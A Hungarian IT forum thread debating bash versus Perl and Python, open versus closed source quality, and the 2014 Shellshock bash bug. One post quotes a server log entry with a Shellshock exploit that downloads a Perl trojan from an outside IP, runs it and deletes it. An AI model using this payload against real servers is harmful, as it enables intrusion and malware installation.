Új hozzászólás Aktív témák
-
anulu
félisten
válasz kraftxld #101 üzenetére
kösz az infot, akkor valami félreinformált cikket olvashattam pár hónapja ebben a kérdésben :S
"Jelenleg a cloud nem más mint a sales által elhazudott és eladott utópia, egy ígéret, csalánba csomagolt mézesmadzag, amit az üzemeltetés f@$zával vernek" | Feel the power! Intel Core i7 | iPhone 14Pro 256GB | iPad Pro 2017 64GB
-
#40553216
törölt tag
-
válasz beleszólok #96 üzenetére
valóban, így utólag utánakeresve csak az "egyik" legnagyobb volt.
ettől még a mondandóm lényege nem csorbult.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
ddekany
veterán
Csak a bash-ra, a többit nem ismerem. Ha némelyik csodás is, az van, hogy ha kell Linux-on turkálnod munkád folytán, kénytelen leszel használni, hiába az alternatívák. Amúgy amíg egyszerű dolgokra használod, addig tök mindegy, csak ha megpróbálod rendesen kiismerni, akkor látni fogod hogy gány, és hogy ez mennyi komplexitást/csapdát tud kitermelni, milyen kevés hozadékkal cserébe.
-
F34R
nagyúr
válasz beleszólok #114 üzenetére
En is ismerek olyat. Zsh-ben eleg sok mindent megcsinal.
-
válasz beleszólok #114 üzenetére
azok után, hogy írtak már http szervert postscriptben, nem csodálkoznék semmin.
de a hosszú bash script szerintem nem probléma.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
beleszólok
senior tag
Azért én hosszabb feladatokat nem szívesen bíznék shell szkriptekre.
Nem mondom, anno én is csináltam olyat, hogy amit tudtam, az adott op.rendszer "shell"-jében, a többit meg perl-ben (a fentebb említett kolléga kellőképp hülyének is nézett miatta ), de azért ha lehet, shell-ben tényleg csak olyat, ami a szoftver környezetének beállításához szükséges. Perl, python esetleg ruby már nagyobb biztonsággal használhatóak a tényleges tevékenységek elvégzésére, azt hiszem.Tiszavirág: http://youtu.be/YdcsiW0kfso
-
a helyzet az, hogy a peer review a legolcsobb es egyben legkevesbe eros minosegellenorzesi megoldas. szep dolog, hogy valaki mas atnezi, csak mi emberek annyira nem vagyunk jok szisztematikus atnezesben, tehat a cathedral & bazaar alaptezise hogy kelloen sok szemmel minden hiba kiszurhato, egyszeruen nem igaz. ha igaz lenne, akkor kritikus rendszerekben nem kellenenek olyan szisztematikus megoldasok, mint amit pl az MCDC (/ACC) vagy egy model verifier tud adni. ugy is lehetne mondani, hogy hiaba nezi at 20 ember a kodot, lehet mind ugyanugy nezi at.
masik oldalrol meg az open source es a software quality osszefonodasanak a tekinteteben ugyan van kutatas a teruleten, de a minosegi aspektus jopar esetben a "kerd meg a cegnel a senior architektet, hogy nezze at a kodot, hogy hasznalhato-e" kijelentesig jut el. ilyenkor felmerul, hogy:
a.: mit is kene neznie a senior architektnek?
b.: mivan ha pl egy indie jatekfejleszto studiorol (vagy mas startuprol) van szo, ahol a "senior architekt"hez legkozelebb allo engine programmer is frissdiplomas?
viszont vegignezve az irodalmat, hogy az open source miert, vagy egyaltalan hogyan jelentene minoseget egy adott program eseten, a kerdes elegge megvalaszolatlan marad. vagy csak nagyon jol elbujt a valaszt ado publikacio.teny, hogy az open source gyakorlatilag harom fazison ment at, jelenleg pedig az open standards irany, illetve az open source mint business modell az mar realisnak tunik. viszont csak azert mert a kod meg ismert es sokan hasznaljak, az semmi garancia arra, hogy valahol megbujik egy ronda dolog. amit mellesleg ki lehetett volna szurni megfelelo tesztelesi policivel. utobbi arra alapozhato, hogy a heartbleed se erintett mindenkit.
Don't dream it, be it. // Lagom amount.
-
válasz beleszólok #117 üzenetére
a perl az kifejezetten és hatványozottan nem alkalmas "tényleges tevékenységek" leprogramozására. az egy kicsit túldimenzionált jelentéskészítő. aki pedig azt a szintaktikát kitalálta, annak rég le kellett volna jönni az anyagról.
a python meg a ruby sem alkalmas erre, mert normális unixon nincs is alapértelmezésben. mondjuk a perl sem, de az más tészta.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
beleszólok
senior tag
Nem komplett office szoftverekről beszélek, hanem olyasmiről, ami (hogy nem tudom, kit idézzek ) 10+ sornyi shell szkriptből oldható meg.
Admin feladatokra ezek nagyon jól használhatóak.
(perl-nél ajánlom figyelmedbe a use English;parancsot - nem szükségszerű, hogy olvashatatlan legyen az a szkript)VMS-en kívül még nem találkoztam olyan _op.rendszerrel_, amin ne lett volna defaultból perl.
Emlékeim szerint még AIX-re is felmegy, ha nem valami nagyon szűk rendszert telepítesz.
Pythont lehet, hogy külön kell felrakni (manapság már ebben sem vagyok biztos), de még mindig jobb, mint shellben programozgatni.[ Szerkesztve ]
Tiszavirág: http://youtu.be/YdcsiW0kfso
-
ddekany
veterán
Ebbe igazából nem lehet belemenni, mert szinte bármit mondok, az azonnal egyben megkérdőjelez dolgokat az egész UN*X toolbox modellben is egyben (minden csak string, exit kódok, kötetlen argumentum lista formátum, stb.), és politikai vallási téma az itt tilos. Mondjuk egyet talán polkorrekt említeni, miszerint az egész megközelítés, hogy rakás expansion/substituation lépéssel "transzformálódik" a kód a végleges formájába (közben ugye azok így meg úgy escape-elve szúrják be a tartalmat) elég sok tévedés forrása. Mondhatjuk, hogy ki lehet ismerni, csak ezek normális nyelvben eleve fel sem merülnek mint gond. Nyilván most pár évtizeddel bölcsebben már könnyű mondani sok mindent, a para csak az, hogy a világ mozog előre, kivéve ezt, mert ez és holdudvara szent.
-
válasz proci985 #118 üzenetére
"teny, hogy az open source gyakorlatilag harom fazison ment at": mi a tény meg milyen fázisokon ment át?
"Admin feladatokra ezek nagyon jól használhatóak.": admin feladatokra kiválóan használható a shell.
"VMS-en kívül még nem találkoztam olyan _op.rendszerrel_": pedig a linuxokon is csak egy pár éve betegség az alapértelmezett perl. debianon a default alkalmazás néküli telepítéskor nem is rakja fel, csak néhány agybeteg csomagoló perl nélkül nem tudott legyártani alap konfigokat, így felhúzza egy-két app. ideje lenne már a debianosok között is szétcsapni, jó alaposan, mert kezdik ők is elfelejteni, hogy miről szól ez az egész.vms-en pedig komplett levelezőrendszereket lehetett írni dcl-ben, úgyhogy oda nem is kell a perl. egyébként windowson sincs
(#121) ddekany: "Mondhatjuk, hogy ki lehet ismerni, csak ezek normális nyelvben eleve fel sem merülnek mint gond.": hát ja, 20 év után belefutottunk az első komoly shell hibába, össze is dőlt a világ.
"a világ mozog előre, kivéve ezt, mert ez és holdudvara szent.": a unix pedig 45 éve hatékonyan végzi a dolgát. a unixnak köszönheted, hogy van választási lehetőséged. a unixnak köszönheted, hogy kicsit megcibálta a monopolisztikus törekvéseken dolgozók bajszát, így az árak elfogadhatók maradtak.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
beleszólok
senior tag
Pár éve? Hm... tizenöt évvel ezelőtt azért írtam perl-ben (VMS-re) a korábban említett szkript egy részét, mert az összes linuxomon ott volt alapértelmezetten...
(főleg debiant, SuSE-t használtam akkoriban)DCL-ben lehetett írni web szervert is, meg sok egyebet is, csak sok értelme nem volt.
Tiszavirág: http://youtu.be/YdcsiW0kfso
-
74.201.85.77 - - [26/Sep/2014:15:07:53 +0200] "GET /test-cgi/test.sh HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""
ilyenek vannak a logban... jó ez a perl, már trójait is tudnak benne írni.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
hallador
addikt
A sok faszkalap cég: IBM (Storage, SVC, Power), Csicsó (Nexus, UCS), HP (Insige Manager, Matrix, ILO, 3Par stb). VMware (3,5-ig bevallottan Red Hat alapú, utána már nem vallották be, de Linux alapú maga a rendszer.)
Na... Ezek mind Linux-ot futtatnak a rendszereikben. Ezek amit felsoroltam kb mindegyiken Linux fut (Lehet, hogy van kivétel). A sok idióta nem a Microsofthoz fordult, pedig baszki milyen jó lenne, ha a tetves SAN Switchbe 2 - 4 GB Ram meg egy 8 core-os 2000 ventilátoros PC lenne, meg 2 KW-t fogyasztana a windows miatt, meg minden hónapban 2* indulna újra egyszer mert eldobja a VSS-t, egyszer meg frissül.
Vagy a komplett HP C7000-es keretet újra kellene indítani, mert kijött egy patch?
Vagy ilyesmi.
Dejóóóó lenne.
A sok barom Linux-ot választott alaprendszernek, mert hüjék? (pontos j-vel) Elkúrták a mókádat....
Idióták
[ Szerkesztve ]
The further a society drifts from truth, the more it will hate those that speak it. (George Orwell) [Work Machines: HP EliteBook, HP ProBook & Linux Mint 20 ; Entertainment: Apple Macbook AIR M1]
-
-
volt a korai fazis a 90es evekben, avagy a Stallman fele vonal (free), aztan volt a 00 es a szabvanyositas (tobbek kozott a floss es a gnu/bsod ennek az eredmenye) es vegul volt a '10 avagy az open systems illetve az open source mint business modell.
teny, mert a terulet elegge jol van kutatva es ilyen teren ahogy lattam konszenzus van a peer reviewed articlek kozott abban, hogy a free / libre / open source jelentese az idok soran eleg sokat valtozott
tobbi nem az en hozzaszolasomban volt.
btw: a hozzaszolas lenyege egyebkent nem ez volt, hanem hogy a peer review kritikus rendszerekbe nem eleg mint minosegellenorzesi process.
[ Szerkesztve ]
Don't dream it, be it. // Lagom amount.
-
válasz proci985 #128 üzenetére
"a peer review kritikus rendszerekbe nem eleg mint minosegellenorzesi process.": és tudsz olyat, ami elég?
egyébként attól, hogy te láttál pár cikket, ami ugyanazt mondja, még nem tény. szerintem meg az opensource jelentése semmit sem változott az idők során, max. annyi történt, hogy ma már nagy cégeknél is felmerült, hogy lehetne kezdeni vele valamit, akár alkalmazni, akár pénzt keresni vele.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
anulu
félisten
válasz hallador #126 üzenetére
az azért gáz, ha ez a hiba nekik sem tűnt fel...
viszont az alap kérdésre továbbra sem válaszoltál.
"Jelenleg a cloud nem más mint a sales által elhazudott és eladott utópia, egy ígéret, csalánba csomagolt mézesmadzag, amit az üzemeltetés f@$zával vernek" | Feel the power! Intel Core i7 | iPhone 14Pro 256GB | iPad Pro 2017 64GB
-
ddekany
veterán
Volt erről vita még itt valamelyik Linux/shell-es topic-ban, az én nevem is ott szerepel... De ha teljesen tiszteletben tartjuk a tradicionális elveket (azaz kb. csak olyan fogalmakból építhetsz ami a UN*X command line utiliy megközelítésben már létezik), akkor is lehet sokat javítani a helyzeten. Nézz meg mondjuk egy fish shell-t. Ott pl. a behelyettesítési szabályok kevésbé gonoszak, a subshell nem a saját szeparált világában fut, stb.
A topic-ban másoktól felbukkanó Perl összevetéseken meg csak röhögni lehet. Utálom a Perlt, de az egy teljes értékű nyelv, és még viszonylag konzisztens is... A bash úgy krix-krax, hogy még elég buta is.
[ Szerkesztve ]
-
anulu
félisten
de legalább nem minden, magát programozónak nevező... és nem mellesleg kód szinten a black-hat hackerek se.
"Jelenleg a cloud nem más mint a sales által elhazudott és eladott utópia, egy ígéret, csalánba csomagolt mézesmadzag, amit az üzemeltetés f@$zával vernek" | Feel the power! Intel Core i7 | iPhone 14Pro 256GB | iPad Pro 2017 64GB
-
-
ha ez:
$ENV{'PGDATABASE'} = $db if $db && !$ENV{'PGDATABASE'};
neked konzisztens, akkor további jó röhögést."A bash úgy krix-krax, hogy még elég buta is.": az én oldalamról nézve viszont: a perl enyhén szólva túlnőtt az eredeti céljain.
[ Szerkesztve ]
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
beleszólok
senior tag
Hogy nehezen olvasható (pláne, ha "megfelelő" kezekbe kerül), azt senki sem vitatta.
Kedvem lenne előkeresni egy ismerős aláírását, amit tisztán... hát most nem tudom, hogy bash v. bourne shell-ben készített és egy processz limitek nélküli gépen futtatva az op.rendszert is megfekteti.Tiszavirág: http://youtu.be/YdcsiW0kfso
-
Glenda
addikt
válasz proci985 #118 üzenetére
A peer review nagyon jó dolog, mint nulladik lépés. Több helyen nagyon helyesen alkalmazzák azt, hogy a kolléga amint commitol a verziókezelőre, te hagyod abba a munkád és reviewolod a kódját. Ha rendben van, akkor jönnek a unit testek, majd az integrációs tesztek, coded ui (ha lehet) és végül a manuális in house tesztelés. Ha itt nem bukott el, akkor lehet publikus vagy partnereknek szánt tesztverzió.
Magam részéről úgy látom, hogy ezzel a mostani sérülékenységgel dőlt meg az opensource feltételezett előnye, hogy bárki észre tudja venni és ki tudja javítani a hibát. Valóban, de mégsem tették. Innentől meg akár zárt is lehetett volna, kb hasonló lett volna az eredmény.
from r in rings where r.Owner == "Sauron" select r
-
válasz proci985 #135 üzenetére
az mcdc max. jobb lehet, mint a peer review, de jól láthatóan nem elég, mint azt az élet mutatja.
a top impact faktoros folyóiratok meg max. egyetérthetnek valamiben, attól az még nem lesz tény. pláne, ha közgazdászok értenek egyet valamiben. én anno elmagyaráztam az opensource dolgot egy magas polcra ültetett közgazdásznak, a válasza nem idézhető.
(#136) beleszólok válasza: fork bombával elég sok gépet meg lehet fektetni, shell-ben is, bash-ben is. mivel a perl bonyolultabb, feltételezem, hogy ott ennél sokkal cifrább dolgokat is meg lehet csinálni, ha az a cél, hogy felborítsd a gépet.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
azt az architektet, ahol unit teszt előtt commitolni lehet, el kell zavarni.
"Magam részéről úgy látom, hogy ezzel a mostani sérülékenységgel dőlt meg az opensource feltételezett előnye": ez szemészeti probléma lesz, az opensource-nak nem egy előnye volt és az nem dőlt meg.
de mondjuk tegyük fel három másodpercre, hogy igazad van. az opensource nem jó, a closed source jó. és akkor abban az osx-ben, amiben szintén lyukas bash van, mi a helyzet? ők miért nem javították ki?
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
ebben egyetertunk, peer reviewnek is vannak elonyei, csak tisztaban kell vele lenni, hogy az nulladik lepesnek jo, de a tobbi altalad leirt dolgot nem lehet kihagyni
igen, emiatt ideztem elsore a cathedral & bazaar elhiresult mondatat. bar szerintem azt mar a heartbleed bug is megkerdojelezte par honapja.
[ Szerkesztve ]
Don't dream it, be it. // Lagom amount.
-
válasz beleszólok #140 üzenetére
az egész topic arról kezd szólni, hogy az opensource rosszabb, mint a zárt. többek között: (#55) Tassadar83 "Nézd, a Microsoft fejlesztő és QA csoportjait nem igazán lehet egy lapon említeni a Suse-val, Ubuntu-val vagy akár a RedHat-al."
miközben semmi bizonyíték arra, hogy a zárt forrású cuccok a kifogásolt kérdésekben jobbak lennének. a statisztikák alapján meg egyértelmű, hogy nagyságrendekkel rosszabb a zárt forrás.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
beleszólok
senior tag
Azért lásd be: abban, amit Tassadar83 írt, abban van némi igazság! Ha valakit jól megfizetnek, az valószínűleg jobb minőségű kódot készít, mint az, aki merőben hobbiból csinálja. Legalábbis jobban odafigyel rá, mert félti a jól fizető munkahelyét.
Egyébként meg csak azt látom, hogy eddig a csapból is az folyt, hogy az open source biztonságosabb, mert..., most meg már sokadszor derül ki, hogy nem biztonságosabb. Ugyanolyan, max. egy átlag felhasználó is belenézhet a forrásba, amit mondjuk windows vagy AIX esetében nem tehet meg.Tiszavirág: http://youtu.be/YdcsiW0kfso
-
válasz beleszólok #143 üzenetére
"Azért lásd be": azért lásd be te. pont ugyanolyan érvelés. "Ha valakit jól megfizetnek, az valószínűleg jobb minőségű kódot készít, mint az, aki merőben hobbiból csinálja.": valószínűleg igen, gyakorlatilag meg nem. egyébként valószínűleg sem. a nyílt forrásban nincs határidő, nincs főnök, aki beleugat, addig csiszolod a kódodat, amíg akarod. nincs nyomás. és ráadásul nincs sunnyogási lehetőség sem, mert nyílt a forrás. ezek közül egyik sem igaz a kereskedelmi programokra. mitől is lenne jobb?
az sem igaz, hogy mindenki belebabrálhat a nyílt forrásba, a nyílt cuccoknál a hivatalos repókba nem irogathat bárki. annak a kódját fogadják be, aki már bizonyított.
"Legalábbis jobban odafigyel rá, mert félti a jól fizető munkahelyét.": amikor már a sokadik nap túlórázik, a sokadik projekt határidő közeledik úgy, hogy csak zuhanyozni jár haza, akkor nem figyel már arra, hogy mit ad ki a kezéből. eltűnik a tömegben. az apple filmben is megdícsért jobs egy fickót, aki több napja programozott már egyhuzamban. idióta. ezt egyébként a normálisabb cégek kezdik felismerni és odafigyelni rá. ráadásul ha elbarmolta, felmond, két nap alatt talál másik jól fizető állást, mert programozókból hiány van.
"Egyébként meg csak azt látom, hogy eddig a csapból is az folyt, hogy az open source biztonságosabb, mert..., most meg már sokadszor derül ki, hogy nem biztonságosabb.": azt a hibát követitek el, hogy két bug miatt most hirtelen az összes nyílt forrás gagyi lett? francokat.
de a statisztika, amit hosszabb ideje jegyeznek, azt mutatja, hogy az opensource-ban kevesebb a bug.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
beleszólok
senior tag
Asszem, az utolsó megjegyzésed feltette a koronát erre az egész társalgásra: "de a statisztika, amit hosszabb ideje jegyeznek, azt mutatja, hogy az opensource-ban kevesebb a bug."
És nem érzed, hogy ez így, finoman szólva is humoros, ugye?
Mondjuk az open source VirtualBox-ban kevesebb a bug, mint a zárt kódúban?
Vagy hogy?
Milyen statisztika, mihez képest több és miből állapították meg, hogy nem csak több derült ki, mert jobban rászálltak? Ugye korábban említett black box módszerrel is sok dolgot meg lehet tudni szoftverekről akkor is, ha nincs forrás.Ez az egész hasonlítgatás röhejes. Androidot is beleszámítod az open source-ba? Tudod te mennyi sec.hole-os mobil van ma a világon, ami már sohasem lesz javítva?
Tiszavirág: http://youtu.be/YdcsiW0kfso
-
buherton
őstag
Ha ma azt mondod, hogy te nem használsz olyan eszközt/programot, amit "ahol unit teszt előtt commitolni lehet", akkor valamennyi eszköz/programot elfelejtheted. Tragédia az ami folyik egy-két helyen, mert ugye a profit a lényeg.
tely, baly, fojó, mennyél, mingyárt, telyföl, tolyás, malyd, kapú, egyenlőre, ejsd, jáccani, ahoz, fúj, hüje, muszály, alat, álok, lasan, fojtatás, ál, fontós, költsön, eggyüt, lyob (jobb?), mek, mongyak, milyért - !!! Tanúlyunk már meghejjessen irni... !!!
-
válasz buherton #146 üzenetére
én annak nem látom értelmét, hogyha van egy unit teszt infrastruktúra kiépítve, akkor ne elsőnek, hanem sokadiknak használják. gépi meló, ingyen van.
az más kérdés, ha nincs. persze ez is lehetne az az eset, amikor elzavarják a vezető programozót
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
Glenda
addikt
Én nem vagyok ennyire szigorú, az adott sprintben legyen meg a unit teszt és kész.
from r in rings where r.Owner == "Sauron" select r
-
hallador
addikt
Ja várj kisebb erőforrást használ, stabilabb, sokkal jobban konfigurálható, kategóriákkal jobban scriptelhető, ingyen van, kb 64 - 256 MB-ban képes egy komplett rendszert működtetni, mint: Switch, SAN, Blade keret, Storage. Nem kell havonta újra indítgatni, ha patchelsz....Sőt nagyon újraindítgatni sem kell úgy soha, kb 6 - 8 architektúrával simán működik (A windows mivel is, ja igan x86, esetleg arm talán)
Na ezt mikor tudta a Windows mesélj...
Ja senki nem fog odamenni hozzájuk 2 év múlva, hogy ja igen 2 éve még ingyen volt, de most épp ennyi az ára (Mikor már egyszer megvetted a terméket), mert a májkrémszoft most éppen így gondolja. Ha meg patch is kell, akkor meg még plusz fizess is... (Windows XP)
Neked ennyi előny elég, vagy ide kellene írnom azt is, hogy kb sokkal több programozó van a háttérbe mint az MS esetén?
Érdekes, hogy Te mindig megjelensz, mikor történik egy ilyen eset, a Windowsnál miért nem vagy ott ott minden hónapban 2 is van.... Hogy is hívják a nép ünnepélyt ja igen patch kedd...
Azért majd dobj már egy listát, hogy a Windows esetében mennyi dologra nem jöttek még rá, ja igen fingod nincs mert azt az NSA őrzi mi?
Ha hiszed ha nem az van akinek előny, hogy nem kell újraindítgatni a komplett infrastruktúrát, meg egy xBMR, vagy VADP mentésnél nem azt kell figyelned, hogy a szulyok MS megoldás miatt most éppen szátcsúszott a VSS vagy nem a rendszer alatt, mert különben nem megy a mentés. Vagy éppen a Windows eldobja az időszinkront mert ehhez van épp kedve.
Persze tudom én nem előny, ha már megszoktad ezt a mókát
Meg most elő ne gyere, hogy van egy Windows-od aminek több az uptime-ja mint a bárminek, mert a céges policy-k miatt így is úgy is egy szutyok patch miatt újra kell indítani a komplett infrastruktúrát. ha Windows-on fut.
Na erről akkor ennyit is...
[ Szerkesztve ]
The further a society drifts from truth, the more it will hate those that speak it. (George Orwell) [Work Machines: HP EliteBook, HP ProBook & Linux Mint 20 ; Entertainment: Apple Macbook AIR M1]
-
Vladi
nagyúr
Nekem egy nyilat ad vissza a teszt.
>
[ Szerkesztve ]
Nem félünk! Nem félünk! Itthon vagyunk e földön. Nem félünk! Nem félünk! Ez nem maradhat börtön!
Új hozzászólás Aktív témák
- Még annál is olcsóbb lesz a Blackview Hero 10
- Politikai mémek
- Aliexpress tapasztalatok
- Xbox Series X|S
- PowerWash Simulator - Már több mint 12 millióan próbálták ki
- sziku69: Fűzzük össze a szavakat :)
- Porszívók - akkus és klasszikus vezetékes
- Honor Magic5 Pro - kamerák bűvöletében
- Projektor topic
- Crypto Trade
- További aktív témák...
- XBOX ONE/PS4/PS5/XBOX SERIES/NINTENDO SWITCH konzolt vásárolnék!
- XBOX SERIES/PS4/PS5/XBOX ONE/NINTENDO SWITCH konzolt vásárolnék!
- PS5/PS4/XBOX ONE/XBOX SERIES/NINTENDO SWITCH konzolt vásárolnék!
- Új Dobozos Lenovo Ideapad Flex 5 x360 Érintős Ultrabook Óriás Tab 16" -40% Ryzen 5 5500U 16/512 QHD
- PS4/PS5/XBOX ONE/XBOX SERIES/NINTENDO SWITCH konzolt vásárolnék!